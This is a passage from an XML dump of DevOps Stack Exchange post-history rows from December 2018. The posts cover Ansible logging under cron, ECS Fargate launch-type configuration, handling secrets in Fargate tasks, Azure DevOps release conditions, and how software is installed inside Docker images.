frustration pay back fast. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18288" PostHistoryTypeId="5" PostId="5694" RevisionGUID="08478b96-a119-4688-89d1-cd2cf0fd4478" CreationDate="2018-12-13T17:15:29.217" UserDisplayName="user5176" Comment="Line breaks for ease of read, formatting." Text="I would discourage you from using Ansible to run Ansible (though this can be done) as you will run the risk of breaking idempotent rule of Ansible. Instead, choose a singular starting point for running your playbooks; either command line, cron or some other program.&#xD;&#xA;&#xD;&#xA;With that said, I would use cron to run an Ansible playbook, however I would also setup your ansible.cfg file for logging and check the log periodically if there is breakage in your playbook.&#xD;&#xA;&#xD;&#xA;Ansible by default doesn't do logging so I would set this up in ansible.cfg, just in case:&#xD;&#xA;&#xD;&#xA;    [defaults]&#xD;&#xA;    log_path = ./ansible.log&#xD;&#xA;&#xD;&#xA;Also, make sure to check your email regularly to make sure your cron/Ansible job ran without any problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18289" PostHistoryTypeId="24" PostId="5694" RevisionGUID="08478b96-a119-4688-89d1-cd2cf0fd4478" CreationDate="2018-12-13T17:15:29.217" Comment="Proposed by 5176 approved by -1 edit id of 885" ContentLicense="CC BY-SA 4.0" />
  <row Id="18290" PostHistoryTypeId="5" PostId="5694" RevisionGUID="272030e8-379a-42ae-bdfc-69cab07a9345" CreationDate="2018-12-13T17:15:29.217" UserId="40" Comment="added 4 characters in body" Text="I would discourage you from using Ansible to run Ansible (though this can be done) as you will run the risk of breaking idempotent rule of Ansible. Instead, choose a singular starting point for running your playbooks; either command line, cron or some other program.&#xD;&#xA;&#xD;&#xA;With that said, I would use cron to run an Ansible playbook, however I would also setup your `ansible.cfg` file for logging and check the log periodically if there is breakage in your playbook.&#xD;&#xA;&#xD;&#xA;Ansible by default doesn't do logging so I would set this up in `ansible.cfg`, just in case:&#xD;&#xA;&#xD;&#xA;    [defaults]&#xD;&#xA;    log_path = ./ansible.log&#xD;&#xA;&#xD;&#xA;Also, make sure to check your email regularly to make sure your cron/Ansible job ran without any problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18299" PostHistoryTypeId="2" PostId="5719" RevisionGUID="1334f235-ac26-4999-ada0-f22239e45c39" CreationDate="2018-12-13T19:31:41.393" UserId="11352" Text="The key vault retrieval can be a performance problem. Reading from key vault takes several seconds. The Azure SLA only says it will take [less than 5 seconds][1] 99.9% of the time. It does not guarantee the average time, but from my experience and hearsay, the average is about 2 seconds.&#xD;&#xA;&#xD;&#xA;Unless your web app is &quot;always on&quot;, it will be unloaded if idle for 5-20 minutes. That means, unless you have a lot of traffic, your site response times will frequently suck.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/support/legal/sla/key-vault/v1_0/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18300" PostHistoryTypeId="2" PostId="5720" RevisionGUID="8a6cdc5f-0e33-4624-9a3c-5951ac8f84eb" CreationDate="2018-12-13T20:12:55.977" UserId="11342" Text="I would highly recommend looking at this [tutorial][1] by digital ocean. How to install and configure Ansible on Ubuntu. &#xA;&#xA;&#xA;  [1]: https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-ansible-on-ubuntu-18-04&#xA;Although this tutorial is not a book, I had a similar situation with the ansible docs and trying to understand them when I first got started. This tutorial will provide an in depth hands on experience for getting started with ansible. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18305" PostHistoryTypeId="2" PostId="5722" RevisionGUID="235ec01e-24b6-4efe-a0c5-e2473de149f2" CreationDate="2018-12-13T22:19:41.873" UserId="8251" Text="This is usually called a migration, try yii2, Laravel or doctrine&#xA;&#xA;Mostly these frameworks will manage the schema in yml, XML or PHP and automatically calculate schema changes and apply them.&#xA;&#xA;For data changes, you would package up a number of database queries or even program code into a migration, which usually has a forward/up step and a backward/down step.&#xA;&#xA;Migration status is usually stored as a single value in a separate database table" ContentLicense="CC BY-SA 4.0" />
  <row Id="18306" PostHistoryTypeId="2" PostId="5723" RevisionGUID="8d614ae8-0916-4151-ab02-aa1fc0a56d25" CreationDate="2018-12-13T23:18:15.993" UserId="1218" Text="The short answer is &quot;you don't have to&quot;.&#xD;&#xA;&#xD;&#xA;The long answer is I was doing it wrong. Here's what was wrong and what I learned.&#xD;&#xA;&#xD;&#xA;After working through [tutorials][1], RTFMing and re-building my ECS configuration I found that I actually **wasn't launching via Fargate**. I had made a mistake during the initial `configure` command, so the default config was using EC2 launch type. When making the cluster it created an Autoscaling Group template with t2.micro in it, and then it was using this to launch the initial instance. I didn't think this was unusual, as I read that Fargate managed your EC2's for you, which I presumed was what was happening. No, this was &quot;traditional&quot; EC2 creation via a scaling template.&#xD;&#xA;&#xD;&#xA;I figured out the mistake by viewing the config file. I noticed `ecs-cli` doesn't have any &quot;view config&quot; commands - they only write to the config, so it feels a bit mysterious when you are issuing later commands, especially as [you are encouraged to set lots of defaults][2] (presumably to simplify the CLI commands which get long and cumbersome).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    less ~/.ecs/config &#xD;&#xA;&#xD;&#xA;    version: v1&#xD;&#xA;    default: MY-TRIAL-CONFIG&#xD;&#xA;    clusters:&#xD;&#xA;      MY-TRIAL-CONFIG:&#xD;&#xA;        cluster: MY-TRIAL-CLUSTER&#xD;&#xA;        region: ap-southeast-2&#xD;&#xA;        default_launch_type: &quot;&quot;      &lt;= this was the problem&#xD;&#xA;      tutorial:&#xD;&#xA;        cluster: tutorial&#xD;&#xA;        region: ap-southeast-2&#xD;&#xA;        default_launch_type: FARGATE&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So I then tried the EC2-only parameter:&#xD;&#xA;&#xD;&#xA;    ecs-cli up --instance-type &quot;t2.small&quot; --capability-iam&#xD;&#xA;&#xD;&#xA;and this changed the Autoscaling Group and indeed launched a t2.small. So I now know how to do it the EC2 way.&#xD;&#xA;&#xD;&#xA;To do it properly as I had originally intended with Fargate, I needed `default-launch-type FARGATE`:&#xD;&#xA;&#xD;&#xA;    ecs-cli configure --cluster MY-TRIAL-CLUSTER --region ap-southeast-2 --default-launch-type FARGATE --config-name MY-TRIAL-CONFIG&#xD;&#xA;&#xD;&#xA;Now the config looks like this:&#xD;&#xA;&#xD;&#xA;    less ~/.ecs/config &#xD;&#xA;&#xD;&#xA;    version: v1&#xD;&#xA;    default: MY-TRIAL-CONFIG&#xD;&#xA;    clusters:&#xD;&#xA;      MY-TRIAL-CONFIG:&#xD;&#xA;        cluster: MY-TRIAL-CLUSTER&#xD;&#xA;        region: ap-southeast-2&#xD;&#xA;        default_launch_type: FARGATE&#xD;&#xA;      tutorial:&#xD;&#xA;        cluster: tutorial&#xD;&#xA;        region: ap-southeast-2&#xD;&#xA;        default_launch_type: FARGATE&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After doing this, `ecs-cli compose service up` works very differently from the observed ECS launch flow.&#xD;&#xA;&#xD;&#xA;1. it doesn't create any Autoscaling stuff&#xD;&#xA;2. it doesn't launch any EC2 instances (I thought Fargate did, but managed it for you, but you don't get to see the container hosts)&#xD;&#xA;3. It created a Cloudformation Stack instead (interestingly with a t2.micro EcsInstanceType parameter)&#xD;&#xA;4. It's very clearly labelled on the Cluster home page: there's a row for EC2 launch types below the FARGATE row. &#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    MY-TRIAL-CLUSTER &gt;&#xD;&#xA;    FARGATE&#xD;&#xA;    1          0             1&#xD;&#xA;    Services   Running tasks Pending tasks&#xD;&#xA;    &#xD;&#xA;    EC2&#xD;&#xA;    0        0             0                                              0&#xD;&#xA;    Services Running tasks Pending tasks CPUUtilization MemoryUtilization Container instances&#xD;&#xA;&#xD;&#xA;It's very clear now I see it. There are no instances for Fargate services.&#xD;&#xA;&#xD;&#xA;You can also watch Fargate re-start the task-containers if they fail, either in the control panel, or with `ecs-cli compose service ps` and `ecs-cli logs --task-id XXX --follow`, to get a feel for the magic and how the Docker Compose features are being performed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-cli-tutorial-fargate.html&#xD;&#xA;  [2]: https://github.com/aws/amazon-ecs-cli#configuring-defaults" ContentLicense="CC BY-SA 4.0" />
  <row Id="18307" PostHistoryTypeId="5" PostId="5690" RevisionGUID="778ed5ba-158c-4d14-9be1-66c736bd08e8" CreationDate="2018-12-13T23:53:11.870" UserDisplayName="user5176" Comment="Minor edit, markdown." Text="Well, to begin with, one of the key concepts behind the CaaS/PaaS/FaaS services is the offloading of the OS maintenance burden :) So it shouldn't even matter what version (or even what OS! - it could even be a proprietary one) the provider runs under the hood as long as the CaaS/PaaS/FaaS service performs according to the respective SLAs.&#xD;&#xA;&#xD;&#xA;Which is, in a way, why at least some of these services are considered [serverless][1] - what does OS release means without &quot;the server&quot;?&#xD;&#xA;&#xD;&#xA;As for being at the latest release - I seriously doubt a large service provider will use the latest OS release for any offering with a production-level SLA. For the simple motive that by the time the quality of that release reaches a decent enough / production quality level (according to the provider's QA qualification criteria) it's no longer the latest one :) Yes, qualifying a 3rd party provided OS release in a (large) enterprise environment is no small matter, it can take months/years to complete. &#xD;&#xA;&#xD;&#xA;A more recent patch / service pack level is more likely (but I still have doubts about &quot;latest&quot;). It's the classic stability vs quality conflict. Look at any new OS and the list of serious bugs it gathers in the first few months after release. &#xD;&#xA;&#xD;&#xA;Another consideration: running the latest OS release *might* not even be as critical in a CaaS/PaaS/FaaS context as one might think in some cases, depending on the service being provided and its implementation. For example, who cares about **OS system call vulnerabilities** if the OS was configured that software above it be prevented to make system calls? Or, listening ports vulnerabilities if the system isn't even directly exposed to the outside world?&#xD;&#xA;&#xD;&#xA;Note: In some cases even the [language support lag][2] for the CaaS/PaaS/FaaS service could be significant and IMHO it's conceivable that a similar reasoning could potentially explain OS lagging. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://stackoverflow.com/questions/53682272/why-is-google-app-engine-standard-using-php-5-5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18308" PostHistoryTypeId="24" PostId="5690" RevisionGUID="778ed5ba-158c-4d14-9be1-66c736bd08e8" CreationDate="2018-12-13T23:53:11.870" Comment="Proposed by 5176 approved by -1 edit id of 886" ContentLicense="CC BY-SA 4.0" />
  <row Id="18309" PostHistoryTypeId="5" PostId="5690" RevisionGUID="dc08a094-8075-429f-9571-6b69a108aa3f" CreationDate="2018-12-13T23:53:11.870" UserId="47" Comment="Minor edit, markdown." Text="Well, to begin with, one of the key concepts behind the CaaS/PaaS/FaaS services is the offloading of the OS maintenance burden :) So it shouldn't even matter what version (or even what OS! - it could even be a proprietary one) the provider runs under the hood as long as the CaaS/PaaS/FaaS service performs according to the respective SLAs.&#xD;&#xA;&#xD;&#xA;Which is, in a way, why at least some of these services are considered [serverless][1] - what does OS release means without &quot;the server&quot;?&#xD;&#xA;&#xD;&#xA;As for being at the latest release - I seriously doubt a large service provider will use the latest OS release for any offering with a production-level SLA. For the simple motive that by the time the quality of that release reaches a decent enough / production quality level (according to the provider's QA qualification criteria) it's no longer the latest one :) Yes, qualifying a 3rd party provided OS release in a (large) enterprise environment is no small matter, it can take months/years to complete. &#xD;&#xA;&#xD;&#xA;A more recent patch / service pack level is more likely (but I still have doubts about &quot;latest&quot;). It's the classic stability vs quality conflict. Look at any new OS and the list of serious bugs it gathers in the first few months after release. &#xD;&#xA;&#xD;&#xA;Another consideration: running the latest OS release *might* not even be as critical in a CaaS/PaaS/FaaS context as one might think in some cases, depending on the service being provided and its implementation. For example, who cares about **OS system call vulnerabilities** if the PaaS runtime/execution sandbox doesn't allow the hosted applications to make system calls? See, for example, the Google App Engine's [Python Sandbox][2]. Or, listening ports vulnerabilities if the system isn't even directly exposed to the outside world?&#xD;&#xA;&#xD;&#xA;Note: In some cases even the [language support lag][3] for the CaaS/PaaS/FaaS service could be significant and IMHO it's conceivable that a similar reasoning could potentially explain OS lagging. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/standard/python/runtime#Python_The_sandbox&#xD;&#xA;  [3]: https://stackoverflow.com/questions/53682272/why-is-google-app-engine-standard-using-php-5-5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18310" PostHistoryTypeId="2" PostId="5724" RevisionGUID="bc4ee3dd-2af6-45d9-9111-383c1b0846da" CreationDate="2018-12-13T23:59:27.987" UserId="11069" Text="@Shayki's [answer][1] was a large portion of what I was looking for (thanks!), but I was eventually able to figure out a solution that met all of my requirements. It involves a less than ideal use of the Release Description to propagate state between jobs.&#xD;&#xA;&#xD;&#xA;The updated flow diagram looks like this:&#xD;&#xA;&#xD;&#xA;[![conditional flow solution][2]][2]&#xD;&#xA;&#xD;&#xA;I was originally thinking of the conditional flow as an `if else` statement, but it is really more of multiple `if` statements where the condition is the same. If flag is set, do X; if flag is set, do Y; etc.&#xD;&#xA;&#xD;&#xA;## Details ##&#xD;&#xA;&#xD;&#xA;Instead of running the agentless job when a previous condition fails (which would result in the entire deployment failing, a violation of one of my requirements), I created a custom condition that the agentless job runs as:&#xD;&#xA;&#xD;&#xA;[![custom condition with variable expressions][3]][3]&#xD;&#xA;&#xD;&#xA;If all the previous tasks have succeeded, and if the Release.ReleaseDescription variable contains the string defined in the _dbDeployErrors variable, then this job will execute (and the manual intervention task inside of it).&#xD;&#xA;&#xD;&#xA;The _dbDeployErrors variable isn't too important, I set it to `;DB_DEPLOY_ERRORS_$EnvironmentName`. The main idea is that, at least with the Web Designer, there is no way to pass information from an agent job to an agentless job. So I wrote a powershell script which uses the [Get Release][4] and [Update Release][5] Azure DevOps REST API to update the Release Description parameter on the release. This allows me to pass information to the next job in the deployment.&#xD;&#xA;&#xD;&#xA;The basic steps for setting this flag are:&#xD;&#xA;&#xD;&#xA; 1. Run the db deployment&#xD;&#xA; 2. If the deployment has errors, do not fail task, but instead set an agent variable&#xD;&#xA; 3. Next task determines if the variable is set, and if so calls the Update Release API to append the flag to the release description&#xD;&#xA; 4. Future jobs and tasks can now analyze the state of the release description variable&#xD;&#xA;&#xD;&#xA;*Note: I set an agent variable instead of making the API call from the db-deploy script so that I can keep my deploy script clean and maintainable. I move the responsibility of calling the API to a dedicated script instead.*&#xD;&#xA;&#xD;&#xA;If the Manual Intervention is resumed, then the third job executes as an agent job. It will attempt to deploy the db again, but this time it sets a `-Force` flag on the script to ignore possible data loss (it was approved by the one who performed the intervention). If this deployment succeeds, then a quick cleanup is run to call the Update Release API and clear the flag from the release description. Finally, the other tasks can resume as normal.&#xD;&#xA;&#xD;&#xA;Here is what the tasks in my final release definition looks like:&#xD;&#xA;&#xD;&#xA;[![full release definition][6]][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/5703/11069&#xD;&#xA;  [2]: https://i.stack.imgur.com/p14fU.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/6HRbE.png&#xD;&#xA;  [4]: https://docs.microsoft.com/en-us/rest/api/azure/devops/release/releases/get%20release?view=azure-devops-rest-5.0&#xD;&#xA;  [5]: https://docs.microsoft.com/en-us/rest/api/azure/devops/release/releases/update%20release?view=azure-devops-rest-5.0&#xD;&#xA;  [6]: https://i.stack.imgur.com/dIhC0.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="18311" PostHistoryTypeId="2" PostId="5725" RevisionGUID="e57b26a1-c156-469f-81a7-3e4763170f3e" CreationDate="2018-12-14T00:31:44.740" UserId="1218" Text="I am using an existing docker-compose.yml to migrate an app to ECS. The config references several $ENV vars which I used to pass in simply as environment variables when running `docker-compose up`. One of these is a password, which used to be specified on the Docker host. In ECS you are advised not to pass sensitive stuff along with the env-vars, so I'd like to improve this and use the best practises.&#xD;&#xA;&#xD;&#xA;In FARGATE, I can't see how to pass these secure parameters into to the `ecs-cli compose service up` without sending them into the docker-compose used by ecs-cli (and then they end up displayed in the console, I guess possibly logged, etc).&#xD;&#xA;&#xD;&#xA;The [ECS CLI documentation][1] explains to use SSM&#xD;&#xA;&#xD;&#xA;&gt; `secrets` allows you to specify secrets which will be retrieved from&#xD;&#xA;&gt; SSM Parameter Store. See the [ECS Docs][2] for more information,&#xD;&#xA;&gt; including how reference AWS Secrets Managers secrets from SSM&#xD;&#xA;&gt; Parameter Store. value_from is the SSM Parameter ARN or name (if the&#xD;&#xA;&gt; parameter is in the same region as your ECS Task). name is the name of&#xD;&#xA;&gt; the environment variable in which the secret will be stored.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But under the [ECS Docs][2] &#xD;&#xA;&#xD;&#xA;&gt; &quot;This feature is not yet supported for tasks using the Fargate launch&#xD;&#xA;&gt; type.&quot;&#xD;&#xA;&#xD;&#xA;I presume the &quot;yet&quot; means there will be one day.&#xD;&#xA;&#xD;&#xA;I wonder if there's an current alternative for Fargate, or if we have to be less secure while they add support for it? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/aws/amazon-ecs-cli#using-ecs-parameters&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/specifying-sensitive-data.html&#xD;&#xA;  [3]: https://devops.stackexchange.com/questions/1085/how-to-get-environment-variables-in-ecs-container" ContentLicense="CC BY-SA 4.0" />
  <row Id="18312" PostHistoryTypeId="1" PostId="5725" RevisionGUID="e57b26a1-c156-469f-81a7-3e4763170f3e" CreationDate="2018-12-14T00:31:44.740" UserId="1218" Text="How can you pass private environment variables to FARGATE tasks specified from a Docker Compose config" ContentLicense="CC BY-SA 4.0" />
  <row Id="18313" PostHistoryTypeId="3" PostId="5725" RevisionGUID="e57b26a1-c156-469f-81a7-3e4763170f3e" CreationDate="2018-12-14T00:31:44.740" UserId="1218" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;docker-compose&gt;&lt;security&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18317" PostHistoryTypeId="2" PostId="5726" RevisionGUID="38bdab4b-9bbe-40bd-956a-e661fd69c6e4" CreationDate="2018-12-14T03:56:22.703" UserId="1218" Text="This is a well-written and up-to-date article which summarises the problem I've hit and confirms there isn't really a perfect solution at the moment in Fargate.&#xD;&#xA;&#xD;&#xA;https://hackernoon.com/secrets-management-within-aws-ecs-1b6975819ccd - Connor Beardsmore&#xD;&#xA;&#xD;&#xA;The alternatives listed are:&#xD;&#xA;&#xD;&#xA; 1. Bake into Docker - not an option with an open source repo&#xD;&#xA; 2. ECS Environment Variables - as I mentioned less secure&#xD;&#xA; 3. Docker Fetches from SSM Parameter Store - secure but &quot;architecturally dirty&quot;&#xD;&#xA; 4. Wait for Fargate SSM to be able to inject sensitive data!&#xD;&#xA;&#xD;&#xA;Re. option 2. the problem is the environment variables are visible in the AWS console. But I wonder: if an attacker has access to your AWS console, you're pretty screwed already? So isn't this in fact an practically acceptable solution?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18325" PostHistoryTypeId="5" PostId="5714" RevisionGUID="a16c456c-6046-4463-88fd-cbf3cdf5b804" CreationDate="2018-12-14T06:52:23.073" UserId="707" Comment="added 579 characters in body" Text="Hi and welcome to DevOps SE and Docker!&#xD;&#xA;&#xD;&#xA;Now the concept of Docker is to create isolated virtual  environments, actually it's just a process or more but wrapped in its own environment.&#xD;&#xA;&#xD;&#xA;So at first hand you could take any Docker image and the scripts inside would be there where the creators of the image placed them.&#xD;&#xA;&#xD;&#xA;If you decide to create your own Docker images, and I believe you will sooner or later, then it is up to you how layout the system.&#xD;&#xA;&#xD;&#xA;Additionally, you could link - proper term is here *mount* - your system's folders with those of the container but still the execution will take place inside the container.&#xD;&#xA;&#xD;&#xA;For example to install the RStudio package in an Anaconda3 environment, I have tried the following.&#xD;&#xA;&#xD;&#xA;    $ docker run -it continuumio/anaconda3 bash&#xD;&#xA;    (base) root@7162c3acc9e3:/# conda install -y -c r rstudio&#xD;&#xA;    (base) root@7162c3acc9e3:/# which rstudio&#xD;&#xA;    (base) root@7162c3acc9e3:/# /opt/conda/bin/rstudio&#xD;&#xA;&#xD;&#xA;As you can see, if installed as root user which is default, the path is `/opt/conda/bin/rstudio`. Most packages not using special system capabilities would considerably not &quot;know&quot; whether they are in a Docker environment or not, so in many cases you could consider a Docker container just a (fluid) environment you have the root access too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18326" PostHistoryTypeId="5" PostId="5714" RevisionGUID="751524b6-5ac1-47d4-a075-ad01ddfa7622" CreationDate="2018-12-14T07:19:19.140" UserId="707" Comment="added 6 characters in body" Text="Hi and welcome to DevOps SE and Docker!&#xD;&#xA;&#xD;&#xA;Now the concept of Docker is to create isolated virtual  environments, actually it's just a process or more but wrapped in its own environment.&#xD;&#xA;&#xD;&#xA;So at first hand you could take any Docker image and the scripts inside would be there where the creators of the image placed them.&#xD;&#xA;&#xD;&#xA;If you decide to create your own Docker images, and I believe you will sooner or later, then it is up to you how layout the system.&#xD;&#xA;&#xD;&#xA;Additionally, you could link - proper term is here *mount* - your system's folders with those of the container but still the execution will take place inside the container.&#xD;&#xA;&#xD;&#xA;For example to install the RStudio package in an Anaconda3 environment, I have tried the following.&#xD;&#xA;&#xD;&#xA;    $ docker run -it continuumio/anaconda3 bash&#xD;&#xA;    (base) root@7162c3acc9e3:/# conda install -y -c r rstudio&#xD;&#xA;    (base) root@7162c3acc9e3:/# which rstudio&#xD;&#xA;    (base) root@7162c3acc9e3:/# /opt/conda/bin/rstudio&#xD;&#xA;&#xD;&#xA;As you can see, if installed as root user which is default, the path is `/opt/conda/bin/rstudio`. Most packages not using special system capabilities would considerably not &quot;know&quot; whether they are in a Docker environment or not, so in many cases you could consider a Docker container to be just a (fluid) environment you have the root access too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18327" PostHistoryTypeId="2" PostId="5730" RevisionGUID="cb14c3d0-6484-4bb1-ade8-db73c59a71f3" CreationDate="2018-12-14T07:25:24.147" UserId="4175" Text="&gt; How/where are programs installed in Docker containers?&#xD;&#xA;&#xD;&#xA;They live inside a image.&#xD;&#xA;&#xD;&#xA;In a nutshell, what Docker does for you is this:&#xD;&#xA;&#xD;&#xA;* It takes a prepared &quot;image&quot; (which you name on the command line `docker run ...`).&#xD;&#xA;* For all intents and purposes, you can consider this image as simply a volume stored somewhere in `/var/lib/docker`, temporarily mounted somewhere on the host temporarily for you.&#xD;&#xA;* Docker then executes an executable within that image as usual, but fakes its environment such that the new process thinks that the volume mounted in the previous step is its `/` directory. Also, the new process is pretty much encapsulated from the host, i.e., it shares nothing (other processes, files, networking etc.) unless specifically opened up by Docker for you.&#xD;&#xA;&#xD;&#xA;Apart from that, everything is as usual. There is a lot of fakery going on, but technically, at the end of the day, it's just a normal Linux process. The magic happens due to [namespacing][1], but it is mostly Linux magic, which is simply used by the Docker demon for you. If you know `chroot`, you know Docker.&#xD;&#xA;&#xD;&#xA;What Docker does is manage all the tiny bits and pieces for you - i.e., the image management (creating, deleting, listing etc.), the container management (running, stopping, inspecting etc.), virtual networking, the &quot;onion&quot; filesystems which you probably heard about and all such.&#xD;&#xA;&#xD;&#xA;&gt;  If I'm using a Docker container for my project and install anaconda and the other packages I use, is there a folder within the container containing the bash scripts &#xD;&#xA;&#xD;&#xA;Yes, exactly. You acquire an image with anaconda, prepared by someone or yourself. The image is like a `.tar` archive (in a different format), and mounted during runtime. Everything lives in there. (Nomenclature: the folder is within the image, which is mounted. The &quot;container&quot; is just the ephemeral runtime - the process, networking etc.).&#xD;&#xA;&#xD;&#xA;  [1]: http://man7.org/linux/man-pages/man7/namespaces.7.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18331" PostHistoryTypeId="5" PostId="5730" RevisionGUID="cec40e25-c011-4d91-b08f-db874298ba31" CreationDate="2018-12-14T07:48:07.987" UserId="4175" Comment="added 5 characters in body" Text="&gt; How/where are programs installed in Docker containers?&#xD;&#xA;&#xD;&#xA;They are stored inside an image.&#xD;&#xA;&#xD;&#xA;In a nutshell, what Docker does for you is this:&#xD;&#xA;&#xD;&#xA;* It takes a prepared &quot;image&quot; (which you name on the command line `docker run ...`).&#xD;&#xA;* For all intents and purposes, you can consider this image as simply a volume stored somewhere in `/var/lib/docker`, temporarily mounted somewhere on the host temporarily for you.&#xD;&#xA;* Docker then executes an executable within that image as usual, but fakes its environment such that the new process thinks that the volume mounted in the previous step is its `/` directory. Also, the new process is pretty much encapsulated from the host, i.e., it shares nothing (other processes, files, networking etc.) unless specifically opened up by Docker for you.&#xD;&#xA;&#xD;&#xA;Apart from that, everything is as usual. There is a lot of fakery going on, but technically, at the end of the day, it's just a normal Linux process. The magic happens due to [namespacing][1], but it is mostly Linux magic, which is simply used by the Docker demon for you. Docker is like `chroot` on steroids.&#xD;&#xA;&#xD;&#xA;What Docker does is manage all the tiny bits and pieces for you - i.e., the image management (creating, deleting, listing etc.), the container management (running, stopping, inspecting etc.), virtual networking, the &quot;onion&quot; filesystems which you probably heard about and all such.&#xD;&#xA;&#xD;&#xA;&gt;  If I'm using a Docker container for my project and install anaconda and the other packages I use, is there a folder within the container containing the bash scripts &#xD;&#xA;&#xD;&#xA;Yes, exactly. You acquire an image with anaconda, prepared by someone or yourself. The image is like a `.tar` archive (in a different format), and mounted during runtime. Everything lives in there. (Nomenclature: the folder is within the image, which is mounted. The &quot;container&quot; is just the ephemeral runtime - the process, networking etc.).&#xD;&#xA;&#xD;&#xA;  [1]: http://man7.org/linux/man-pages/man7/namespaces.7.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18332" PostHistoryTypeId="2" PostId="5732" RevisionGUID="928c1a97-7573-4130-be9d-f885c2ee169a" CreationDate="2018-12-14T08:34:53.940" UserId="10846" Text="I want to know that is there possibility to make DevOps generic, and not environment specific, so that can be used with any project with same cases, as language and environment changes but the logic remains same in most of the cases.&#xD;&#xA;&#xD;&#xA;Have anyone achieved this using any language?&#xD;&#xA;&#xD;&#xA;I know this is little broad question, but we this is DevOps related only." ContentLicense="CC BY-SA 4.0" />
  <row Id="18333" PostHistoryTypeId="1" PostId="5732" RevisionGUID="928c1a97-7573-4130-be9d-f885c2ee169a" CreationDate="2018-12-14T08:34:53.940" UserId="10846" Text="What is the best way to achieve DevOps in any environment, or it is always environment dependent?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18334" PostHistoryTypeId="3" PostId="5732" RevisionGUID="928c1a97-7573-4130-be9d-f885c2ee169a" CreationDate="2018-12-14T08:34:53.940" UserId="10846" Text="&lt;development-environment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18336" PostHistoryTypeId="5" PostId="5714" RevisionGUID="917d9bd7-cdec-4bc9-9358-e26bcb29b3c6" CreationDate="2018-12-14T08:55:16.103" UserId="707" Comment="added 416 characters in body" Text="Hi and welcome to DevOps SE and Docker!&#xD;&#xA;&#xD;&#xA;Now the concept of Docker is to create isolated virtual  environments, actually it's just a process or more but wrapped in its own environment.&#xD;&#xA;&#xD;&#xA;So at first hand you could take any Docker image and the scripts inside would be there where the creators of the image placed them.&#xD;&#xA;&#xD;&#xA;If you decide to create your own Docker images, and I believe you will sooner or later, then it is up to you how layout the system.&#xD;&#xA;&#xD;&#xA;Additionally, you could link - proper term is here *mount* - your system's folders with those of the container but still the execution will take place inside the container.&#xD;&#xA;&#xD;&#xA;For example to install the RStudio package in an Anaconda3 environment, I have tried the following.&#xD;&#xA;&#xD;&#xA;    $ docker run -it continuumio/anaconda3 bash&#xD;&#xA;    (base) root@7162c3acc9e3:/# conda install -y -c r rstudio&#xD;&#xA;    (base) root@7162c3acc9e3:/# which rstudio&#xD;&#xA;    (base) root@7162c3acc9e3:/# /opt/conda/bin/rstudio&#xD;&#xA;&#xD;&#xA;As you can see, if installed as root user which is default, the path is `/opt/conda/bin/rstudio`. Most packages not using special system capabilities would considerably not &quot;know&quot; whether they are in a Docker environment or not, so in many cases you could consider a Docker container to be just a (fluid) environment you have the root access too.&#xD;&#xA;&#xD;&#xA;Additional note on the terms:&#xD;&#xA;&#xD;&#xA;* *image* is a blueprint for a container defined by a Dockerfile. &quot;Installing&quot; something in an image means you add instructions to its Dockerfile. Own images can be derived from others by the statment FROM.&#xD;&#xA;* *container* is basically process isolation in its own OS environment. If you install something in the container during its uptime, this change will be gone with the container.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18337" PostHistoryTypeId="50" PostId="5437" RevisionGUID="947e7f04-3542-4c80-a2f3-48a5f7b15ec1" CreationDate="2018-12-14T09:02:50.563" UserId="-1" />
